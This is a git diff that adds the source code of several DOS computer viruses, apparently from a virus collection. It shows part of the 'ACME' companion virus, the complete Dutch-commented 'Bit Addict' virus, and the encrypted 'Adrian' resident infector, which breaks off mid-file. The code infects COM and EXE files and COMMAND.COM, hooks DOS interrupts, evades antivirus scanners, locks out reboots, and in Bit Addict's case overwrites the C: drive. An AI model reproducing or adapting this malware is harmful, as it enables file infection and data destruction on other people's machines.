4831,0006, 3619,0006 + + DW 6087,0006, 4063,0006, 3043,0006, 5119,0006 + DW 4831,0006, 6087,0006, 7239,0006, 8126,0006 + DW 6087,0020, + + DW 7670,0006, 7239,0006, 4831,0006, 3619,0006 + DW 3043,0006, 3619,0006, 4831,0006, 6087,0006 + DW 3043,0010, + + DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, + DW 3043,0006, 4831,0006, 4063,0006, 3043,0006, + DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, + DW 3043,0006, 4831,0006, 4063,0006, 3043,0006, + DW 4304,0006, 4063,0006, 4304,0006, 4063,0006, + DW 3043,0006, 5119,0006, 5423,0006, 3043,0006, + DW 6087,0020, + + DW 7670,0006, 7239,0006, 4831,0006, 3619,0006 + DW 3043,0006, 3619,0006, 4831,0006, 6087,0006 + DW 3043,0010, + + DW 6087,0006, + DW 7239,0006, 3619,0006, 4831,0006, 6087,0006 + DW 7670,0006, 7239,0006, 4831,0006, 3619,0006 + + DW 6087,0006, 4063,0006, 3043,0006, 5119,0006 + DW 4831,0006, 6087,0006, 7239,0006, 8126,0006 + DW 6087,0020, + + DW 0ffffh + + + +My_Cmd: +CMD_LEN DB 13 +FILE_CLONE DB 12 DUP (' '), 0 + +;------------------------------------------------------------------; +Prepare_command: + cld + mov di,OFFSET FILE_CLONE + mov al,0 + mov cx,12 + repne scasb ; find the end of string \0 + + mov al,0Dh ; + stosb ; replace \0 with a + + mov ax,12 ;store length of the command + sub ax,cx + mov CMD_LEN, al + ret + +;------------------------------------------------------------------; +Store_name: + + mov di,OFFSET FILE_FOUND ;Point to buffer. + mov si,158 ;stow the file found in buffer + mov cx,12 + rep movsb + + mov di,OFFSET FILE_CREATE ;Point to buffer. + mov si,158 + mov cx,12 + rep movsb + + cld + mov di,OFFSET FILE_CREATE + mov al,'.' + mov cx,9 + repne scasb ;find the '.' + + mov si,OFFSET FILE_EXT + mov cx,3 + rep movsb ;replace the .EXE with .COM + ;from buffer + ret + + +;------------------------------------------------------------------; + ;Does the file exist? + +Check_file: + mov dx,OFFSET FILE_CREATE + mov cx,0 + mov ax,3d00h ; Open file, read only + int 21h + +Chk_done: + ret + +;------------------------------------------------------------------; +Infect_file: ;create companion routine + + mov dx,OFFSET FILE_CREATE ;contains name of "companion" + mov cx,0 + mov ah,3ch ;construct file + int 21h + jc EXIT + + ;Write virus to companion file + mov bx,ax + mov cx,(OFFSET END_OF_CODE - OFFSET START) ;virus length + mov dx,OFFSET START + mov ah,40h ;write to file function + int 21h ;do it + + ;Close file + mov ah,3eh ; ASSUMES bx still has file handle + int 21h + + ;Change attributes + mov dx,OFFSET FILE_CREATE ;of created file to + mov cx,3 ;(1) read only and (2) hidden + mov ax,4301h + int 21h + + ret + +;------------------------------------------------------------------ +; Read all the directory filenames and store as records in buffer. +;------------------------------------------------------------------ + +Vir_begin: + mov ah,02Ch ;DOS get time function + int 021h + mov al,ch ;Copy hour into AL + cbw ;Sign-extend AL into AX + cmp ax,0010h ;Did the function return 16 (4 pm)? + jge TOON ;If greater than or equal, muzik! + + + mov sp,offset STACK_HERE ;move stack down + mov bx,sp + add bx,15 + mov cl,4 + shr bx,cl + mov ah,4ah ;deallocate rest of memory + int 21h + + mov di,OFFSET FILE_CLONE ;Point to buffer. + mov si,OFFSET FILE_FOUND + mov cx,12 + rep movsb + +Read_dir: mov dx,OFFSET WILDCARD ;file mask for directory search + mov cx,SEARCH_ATTRIB + + mov ah,4Eh ;find the first matching file + int 21h + + jc EXIT ;If empty directory, exit + +Do_file: + call STORE_NAME + call CHECK_FILE + call INFECT_FILE + + + +Find_next: + mov ah,4fh ; find next file and keep finding until + int 21h ; all + jnz Do_File ; infected + +Exit: + + ; Run the original program + call Prepare_command + mov si, OFFSET MY_CMD + int 2Eh ; Pass command to command + ; interpreter for execution + + mov ax,4C00H ; Exit to DOS + int 21h + +;------------------------------------------------------------------- +;This routine enables ACME virus to compel the pc to play the +;ACME virus song just about the time the clock-watchers are getting +;ready to leave +;------------------------------------------------------------------- +TOON: + cli ;interrupts off + mov al,10110110xb ;the number + out 43h,al ;to send to the speaker + lea si,MUZIK ;point (si) to the ACME note table + +TOON2: cld + lodsw ;load word into ax and increment (si) + cmp ax,0ffffh ;is it ffff? If so, end of table + jz GO_MUZIK2 ;so, time to jump into endless loop + out 42h,al + mov al,ah + out 42h,al ;send it next + in al,61h ;get value to turn on speaker + or al,00000011xb ;OR the gotten value + out 61h,al ;now we turn on speaker + lodsw ;load the repeat loop count into (ax) +LOOP6: + mov cx,8000 ;delay count +LOOP7: + loop LOOP7 ;do the delay + dec ax ;decrement repeat count + jnz LOOP6 ;if not = 0 loop back + in al,61h ;all done + and al,11111100xb ;number turns speaker off + out 61h,al ;send it + jmp short TOON2 ;now go do next note +GO_MUZIK2: ;our loop point + + sti ;enable interrupts + jmp TOON ;jump back to beginning - this code + ; has the additional advantage of + ;locking out CTRL-ALT-DEL reboot. + ;The user must do a hard reset to recover from ACME. + + + +END_OF_CODE = $ + +STACK_HERE EQU END_OF_CODE + 512 + + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/a/ADDICT9 (13).ASM b/a/ADDICT9 (13).ASM new file mode 100755 index 0000000..9e711f6 --- /dev/null +++ b/a/ADDICT9 (13).ASM @@ -0,0 +1,743 @@ +; Bit Addict Versie 9 + +;----------------------------------------------------------------------------- +;----- ----- +;----- Macros en andere hulpmiddellen ----- +;----- ----- +;----------------------------------------------------------------------------- + +; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter +; wordt dan 128 bytes en er dus een foutmelding komt + +dfn macro Num1,Num2 + db Num1 + dw offset Num2 + endm + +jmpc macro Dest ; vervanging voor jc + local @@00 + + jnc @@00 + jmp Dest +@@00: + endm + +jmpnc macro Dest ; vervanging voor jnc + local @@00 + + jc @@00 + jmp Dest +@@00: + endm + +jmpe macro Dest ; vervanging voor je + local @@00 + + jnz @@00 + jmp Dest +@@00: + endm + +jmpne macro Dest ; vervanging voor jne + local @@00 + + jz @@00 + jmp Dest +@@00: + endm + +eseg segment + mov ax,4c00h ; exit + int 21h +eseg ends + +;----------------------------------------------------------------------------- +;----- ----- +;----- Begin van het Bit Addict virus ----- +;----- ----- +;----------------------------------------------------------------------------- + +cseg segment + assume cs:cseg,ds:cseg,es:cseg + org 0 + +BeginCode equ $ ; begin van het virus + +CodeSize equ CodeEnd-BeginCode ; de grootte van het +CodeSizePara equ (CodeEnd-BeginCode+0fh) / 10h ; virus achter een file + +VirusSize equ VirusEnd-BeginCode ; de grootte van het +VirusSizePara equ (VirusEnd-BeginCode+0fh) / 10h ; virus in het geheugen + +HeaderLength equ 18h ; grootte van een + +SavedCode equ this byte ; gegevens over het +OldSignature dw 5a4dh ; programma voor het +OldCSIP equ this dword ; virus +OldIP dw 0 +OldCS dw 0 +OldSP dw 200h +OldSS dw 0 +OldPartPage dw 0 +OldPageCount dw 0 + +Begin: push ax ; Programma om het virus + push ds ; resident te laten blijven + push es ; en om de comspec te + call Init ; infecteren + jnc @@12 + call BiosCheck ; Als bit addict op een andere + push cs ; computer draait wordt er een + pop es ; teller verhoogt. + xor al,al + mov cx,VirusSize-CodeSize ; zet alle variabelen op nul + mov di,CodeSize + cld + rep stosb ; debug interrupt 21h om het + call DebugOn ; orginele interrupt te vinden + pop es + push es + mov ah,4ah ; en reserveer geheugen voor + mov bx,-1 ; bit addict. + call DOS + push bx + call DebugOff + pop bx + mov ax,cs + pop dx + push dx + sub ax,dx + add ax,cs:MinMem + add ax,CodeSizePara+VirusSizePara+1 + cmp bx,ax + jb @@12 + mov ah,4ah + sub bx,VirusSizePara+1 + int 21h + jb @@12 + mov ah,48h + mov bx,VirusSizePara + int 21h + jb @@12 + mov es,ax + dec ax + mov ds,ax + mov word ptr ds:[1],8 + call CopyBitAddict ; Copieer bit addict naar + pop es ; het gereserveerde geheugen + push es ; Infecteer bestand in de + call InfectComspec ; comspec +@@12: pop es + pop ds ; ga nu verder met het + pop ax ; programma voor Bit Addict + cli + mov ss,cs:OldSS + mov sp,cs:OldSP + sti + jmp cs:OldCSIP + + +Comspec db 'COMSPEC=' ; comspec environment variabele + ; om de command.com te vinden + +ID dw 0DEADh ; hier wordt het virus herkend + ; als het in het geheugen staat + +Count dw 0 ; In deze variabele staat op + ; hoeveel verschillende + ; computers het virus is + ; geweest +Bios db 10h dup(0) ; Gegevens over de bios, + ; door dit te vergelijken met + ; de bios kan het virus weten + ; of het virus op een andere + ; computer draait + +CopyBitAddict: + push cs ; copieer Bit Addict naar de + pop ds ; gereserveerde buffers + xor si,si + xor di,di + mov cx,VirusSize + cld + rep movsb + xor ax,ax ; leid interrupt 21h om naar + mov ds,ax ; Bit Addict + mov word ptr ds:[84h],offset NewInt21 + mov word ptr ds:[86h],es + ret + +InfectComspec: + mov es,es:[2ch] ; lees environment segment + xor di,di + push cs ; zoek naar de comspec + pop ds ; variabele + mov si,offset Comspec +@@30: push si + push di + mov cx,8 + cld + repe cmpsb + pop di + pop si + je @@31 + xor al,al + mov cx,-1 + cld + repne scasb + cmp byte ptr es:[di],0 ; is dit de laatste variabele ? + jne @@30 + jmp short @@33 +@@31: push es ; infecteer de COMMAND.COM of + pop ds ; andere command interpreter, + cmp byte ptr ds:[di+9],':' ; maar doe dit alleen wanneer + jne @@32 ; de comspec naar de c of de + mov al,ds:[di+8] ; d-drive wijst. + and al,0dfh + cmp al,'C' + je @@32 + cmp al,'D' + jne @@33 +@@32: lea dx,[di+8] + push cs:OldIP ; bewaar alle variabelen die + push cs:OldCS ; we nog nodig hebben. + push cs:OldSP + push cs:OldSS + call Infect ; infecteren + pop cs:OldSS ; herstel alle variabelen die + pop cs:OldSP ; we nog nodig hebben + pop cs:OldCS + pop cs:OldIP +@@33: ret + +DebugOn:push ax ; deze procedere is om de + push ds ; trap-flag te zetten, en + xor ax,ax ; interrupt 1 te initialiseren + mov ds,ax + cli + mov ax,ds:[4h] + mov word ptr cs:OldInt1[0],ax + mov ax,ds:[6h] + mov word ptr cs:OldInt1[2],ax + mov word ptr ds:[4],offset NewInt1 + mov word ptr ds:[6],cs + mov ax,ds:[84h] + mov word ptr cs:OldInt21[0],ax + mov ax,ds:[86h] + mov word ptr cs:OldInt21[2],ax + mov word ptr cs:DosInt21[0],0 + mov word ptr cs:DosInt21[2],0 + pushf + pop ax + or ah,1 + push ax + popf + sti + pop ds + pop ax + ret + +DebugOff: ; deze procedure zet de + push ax ; trap-flag weer op nul en + push ds ; herstelt interrupt 1. + cli + pushf + pop ax + and ah,0feh + push ax + popf + xor ax,ax + mov ds,ax + mov ax,word ptr cs:OldInt1[0] + mov ds:[4],ax + mov ax,word ptr cs:OldInt1[2] + mov ds:[6],ax + sti + pop ds + pop ax + ret + +Init: push cs + pop ds + cmp OldSignature,5a4dh + je @@50 + mov si,offset SavedCode ; herstel begin van het + mov di,100h ; com-programma + mov cx,Dead-ComHeader+2 + cld + rep movsb + mov OldSS,ss ; bewaar de waarden van + mov OldSP,sp ; ss,sp,cs en ip + sub OldSP,10h + mov OldCS,es + mov OldIP,100h + jmp short @@51 +@@50: mov ax,es ; bereken de waarden van + add ax,10h ; ss,sp,cs en ip + add OldCS,ax + add OldSS,ax +@@51: mov ax,4b40h ; controleer of Bit Addict al + int 21h ; in het geheugen aanwezig is + jc @@52 + mov ds,ax + mov ax,word ptr ds:ID ; vergelijk identificatie + cmp ax,word ptr cs:ID + je @@52 + stc +@@52: ret + +BiosCheck: ; deze procedure vergelijkt + mov ax,0ffffh ; de bios, met de gegevens + mov ds,ax ; over de bios in het virus, + push cs ; zijn deze niet gelijk, dan + pop es ; zal het virus op een andere + xor si,si ; computer draaien, en wordt + mov di,offset Bios ; er een teller verhoogt, komt + mov cx,10h ; deze teller boven de 255 dan + cld ; zal het bit-addict virus + repe cmpsb ; actief worden. + je @@54 + mov ax,cs:Count + inc ax + cmp ax,100h + jb @@53 + call BitAddict +@@53: mov cs:Count,ax + xor si,si + mov di,offset Bios + mov cx,10h + rep movsb +@@54: ret + +BitAddict: ; in deze procedure wordt + xor dx,dx ; de c-drive overscreven met +@@55: push dx ; onzin, dit mag verandert + mov ax,3 ; worden, om het virus iets + xor bx,bx ; anders te laten doen, een + mov cx,40h ; muziekje spelen, of met het + int 26h ; toetsenbord spelen + pop ax ; bijvoorbeeld. + pop dx + add dx,40h + or dx,dx + jne @@55 + ret + +NewInt1:push bp ; deze procedure wordt + mov bp,sp ; gebruikt bij het debuggen + push ax + mov ax,word ptr cs:DosInt21[0] + or ax,word ptr cs:DosInt21[2] + jnz @@60 + cmp word ptr ss:[bp+4],300h + jae @@61 + mov ax,ss:[bp+2] + mov word ptr cs:DosInt21[0],ax + mov ax,ss:[bp+4] + mov word ptr cs:DosInt21[2],ax +@@60: and word ptr ss:[bp+6],0feffh +@@61: pop ax + pop bp + iret + +DOS: push ax ; roept interrupt 21h aan. + mov ax,word ptr cs:DosInt21[0] + or ax,word ptr cs:DosInt21[2] + pop ax + jnz @@62 + pushf + call cs:OldInt21 + ret +@@62: pushf + call cs:DosInt21 + ret + +Functions: ; dit is een tabel met alle + dfn 3ch,Open ; dos-functies die door + dfn 3dh,Open ; bit-addict verandert worden + dfn 3eh,Close + dfn 3fh,Read + dfn 40h,Write + dfn 4bh,Exec + +NewInt21: ; Het nieuwe interrupt 21h + pushf + push bx + push bp + mov bp,sp + mov bx,offset Functions +@@63: cmp ah,cs:[bx] + je @@68 + add bx,3 + cmp bx,offset NewInt21 + jne @@63 + pop bp + pop bx +EOI: popf + jmp cs:OldInt21 +@@68: mov bx,cs:[bx+1] + xchg bx,ss:[bp+2] + pop bp + ret + +InstallCheck: ; Zo kan bit addict weten + mov ax,cs ; dat er al een andere copy + popf ; aanwezig is + clc + retf 2 + +Exec: cmp al,40h + je InstallCheck + call CheckExtension ; functie 4bh, infecteer eerst + jc EOI ; met Bit Addict + popf + push dx + push ds + pushf + call cs:OldInt21 + pop ds + pop dx + pushf + call Infect + popf + retf 2 + +Open: call CheckExtension ; fn 3ch en 3dh + jc EOI + call cs:OldInt21 + jc @@92 + pushf + push ax + push cx + push si + push di + push es + push cs + pop es + mov si,dx + mov di,offset File1 + cmp word ptr es:[di],0 + je @@90 + mov di,offset File2 + cmp word ptr es:[di],0 + jne @@91 +@@90: cld + stosw + mov cx,70 + rep movsb +@@91: pop es + pop di + pop si + pop cx + pop ax + popf +@@92: retf 2 + +Close: cmp bx,cs:File1 ; fn 3eh + je @@93 + cmp bx,cs:File2 + jne EOI + call cs:OldInt21 + push si + mov si,offset File2 + jmp short @@94 +@@93: call cs:OldInt21 + push si + mov si,offset File1 +@@94: jc @@95 + pushf + push dx + push ds + push cs + pop ds + lea dx,[si+2] + call Infect + pop ds + pop dx + popf +@@95: mov word ptr cs:[si],0 + pop si + retf 2 + +Read: jmp EOI ; fn 3fh + +Write: jmp EOI ; fn 40h + +CheckExtension: ; controleer of de extensie + push ax ; wel exe of com is + push cx + push si + push di + push es + push ds + pop es + mov di,dx ; zoek het einde van de + xor al,al ; file-naam + mov cx,70 + cld + repne scasb + jne @@65 + std + mov al,'.' ; zoek de laatste punt + neg cx + add cx,70 + std + repne scasb + jne @@65 + lea si,[di+2] + cld + lodsw ; eerste 2 letters + and ax,0dfdfh ; maak hoofdletters + cmp ax,5845h ; 'EX' + je @@64 + cmp ax,4f43h ; 'CO' + jne @@65 + lodsb ; 3e letter + and al,0dfh + cmp al,4dh ; 'M' + je @@66 + jmp short @@65 +@@64: lodsb ; 3e letter + and al,0dfh + cmp al,45h ; 'E' + je @@66 +@@65: stc + jmp short @@67 +@@66: clc +@@67: pop es + pop di + pop si + pop cx + pop ax + ret + +ComHeader: ; dit stukje wordt voor een + mov ax,cs ; COM-file geplaatst, en is om + add ax,0100h ; het virus te starten. +OldSize equ this word-2 + push ax + mov ax,offset Begin + push ax + retf +Dead equ $ + dw 0DEADh ; signature, om te controleren + ; of een file al eens eerder + ; besmet is. + +Infect: push ax ; Infecteer een file + push bx + push cx + push si + push di + push bp + push es + mov ax,4300h ; lees attributen en bewaar + call DOS ; ze + jmpc @@83 + push cx + push dx + push ds + test cx,1 + jz @@71 + mov ax,4301h ; set Read-Only attribuut + and cx,0fffeh ; op nul + call DOS + jmpc @@82 +@@71: mov ax,3d02h ; open de file + call DOS + jmpc @@82 + mov bx,ax + mov ax,5700h ; lees de datum en tijd en + call DOS ; bewaar ze + jmpc @@81 + push cx + push dx + push cs ; ds=es=cs + pop ds + push cs + pop es + mov ah,3fh ; lees de header van de file + mov cx,HeaderLength + mov dx,offset Header + call DOS + jmpc @@80 + cmp ax,HeaderLength + jne @@75 + cmp Signature,5a4dh ; Controleer of ID aanwezig is + jne @@72 + cmp ExeID,0DEADh + jmp @@73 +@@72: cmp ComID,0DEADh +@@73: jmpe @@80 ; als ID aanwezig is, stop dan +@@74: cmp Signature,5a4dh + je @@77 +@@75: mov ax,4202h ; infecteer com-files + xor cx,cx ; ga naar het einde van de file + xor dx,dx + call DOS + mov cx,10h ; aanpassen van de com-header + div cx ; aan deze com-file + or dx,dx + je @@76 + push ax + mov ah,40h + mov cx,10h + sub cx,dx + xor dx,dx + call DOS + pop ax + jmpc @@80 + inc ax +@@76: add ax,10h + mov OldSize,ax + mov si,offset Header ; bewaar het eerste deel van + mov di,offset SavedCode ; het programma + mov cx,Dead-ComHeader+2 + cld + rep movsb + mov ah,40h ; schrijf het virus achter het + mov cx,CodeSize ; programma + xor dx,dx + call DOS + jmpc @@80 + mov ax,4200h ; ga naar het begin van de file + xor cx,cx + xor dx,dx + call DOS + jmpc @@80 + mov ah,40h ; overschrijf het begin van het + mov cx,Dead-ComHeader+2 ; programma met de com-header + mov dx,offset ComHeader + call DOS + jmp @@80 +@@77: mov di,offset SavedCode ; infecteer exe-files + mov ax,5a4dh ; bewaar de oude waarden van + stosw ; cs:ip en ss:sp + mov ax,ExeIP + stosw + mov ax,ExeCS + stosw + mov ax,ExeSP + stosw + mov ax,ExeSS + stosw + mov ax,PartPage + stosw + mov ax,PageCount + stosw + mov ExeID,0DEADh ; Zet ID in exe-header + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + mov cx,10h + div cx + or dx,dx + je @@78 + push ax + push dx + mov ah,40h + mov cx,10h + sub cx,dx + xor dx,dx + call DOS + pop dx + pop ax + jc @@80 + inc ax +@@78: sub ax,HeaderSize + mov ExeCS,ax + mov ExeIP,offset Begin + add ax,VirusSizePara + mov ExeSS,ax + mov ExeSP,200h + mov ax,MinMem + cmp ax,20h+VirusSizePara-CodeSizePara + jae @@79 + mov ax,20h +@@79: mov MinMem,ax + mov ah,40h ; schrijf het virus achter + mov cx,CodeSize ; de exe-file + xor dx,dx + call DOS + jc @@80 + mov ax,4202h ; Pas de file-lengte in de + xor cx,cx ; header aan, als de file veel + xor dx,dx ; overlays bevat, dan zal de + call DOS ; exe-file niet meer werken, + mov cx,200h ; maar de file kan wel hersteld + div cx ; worden. + cmp dx,1 + cmc + adc ax,0 + mov PageCount,ax + mov PartPage,dx + mov ax,4200h + xor cx,cx + xor dx,dx ; ga naar het begin van de file + call DOS + jc @@80 + mov ah,40h ; schrijf de nieuwe exe-header + mov cx,HeaderLength ; over de oude heen. + mov dx,offset Header + call DOS +@@80: pop dx ; herstel de datum van de file + pop cx + mov ax,5701h + call DOS +@@81: mov ah,3eh ; sluit de file + call DOS +@@82: pop ds ; herstel de attributen van de + pop dx ; file + pop cx + test cx,1 + jz @@83 + mov ax,4301h + call DOS +@@83: pop es ; herstel de waarden van de + pop bp ; registers en keer terug + pop di ; naar het oude interrupt 21 + pop si + pop cx + pop bx + pop ax + ret + +CodeEnd equ $ + +Header dw HeaderLength/2 dup(0) +ComCS equ Header[OldSize-Comheader] ; Com file +ComID equ Header[Dead-ComHeader] + +Signature equ Header[0h] ; Exe file +PartPage equ Header[2h] +PageCount equ Header[4h] +HeaderSize equ Header[8h] +MinMem equ Header[0ah] +MaxMem equ Header[0ch] +ExeSS equ Header[0eh] +ExeSP equ Header[10h] +ExeID equ Header[12h] +ExeIP equ Header[14h] +ExeCS equ Header[16h] + +DosInt21 dd 0 +OldInt21 dd 0 +OldInt1 dd 0 + +File1 dw 36 dup(0) +File2 dw 36 dup(0) + +VirusEnd equ $ + +cseg ends + +sseg segment stack + db 200h dup(1) +sseg ends + +end Begin +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/a/ADRIAN (14).ASM b/a/ADRIAN (14).ASM new file mode 100755 index 0000000..8ee02f7 --- /dev/null +++ b/a/ADRIAN (14).ASM @@ -0,0 +1,474 @@ +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +not byte ptr [di] +not byte ptr [di] +inc word ptr [di] +sub word ptr [di],09553h +add word ptr [di],0463h +inc word ptr [di] +add byte ptr [di],0c7h +sub word ptr [di],096b1h +inc word ptr [di] +inc byte ptr [di] +sub word ptr [di],06236h +sub word ptr [di],04fb9h +xor word ptr [di],0eaa0h +xor word ptr [di],02ff5h +inc byte ptr [di] +not byte ptr [di] +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +call ANTI_V +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db 'Adrian by NRLG' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +not byte ptr [di] +dec byte ptr [di] +xor word ptr [di],02ff5h +xor word ptr [di],0eaa0h +add word ptr [di],04fb9h +add word ptr [di],06236h +dec byte ptr [di] +dec word ptr [di] +add word ptr [di],096b1h +sub byte ptr [di],0c7h +dec word ptr [di] +sub word ptr [di],0463h +add word ptr [di],09553h +dec word ptr [di] +not byte ptr [di] +not byte ptr [di] +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp 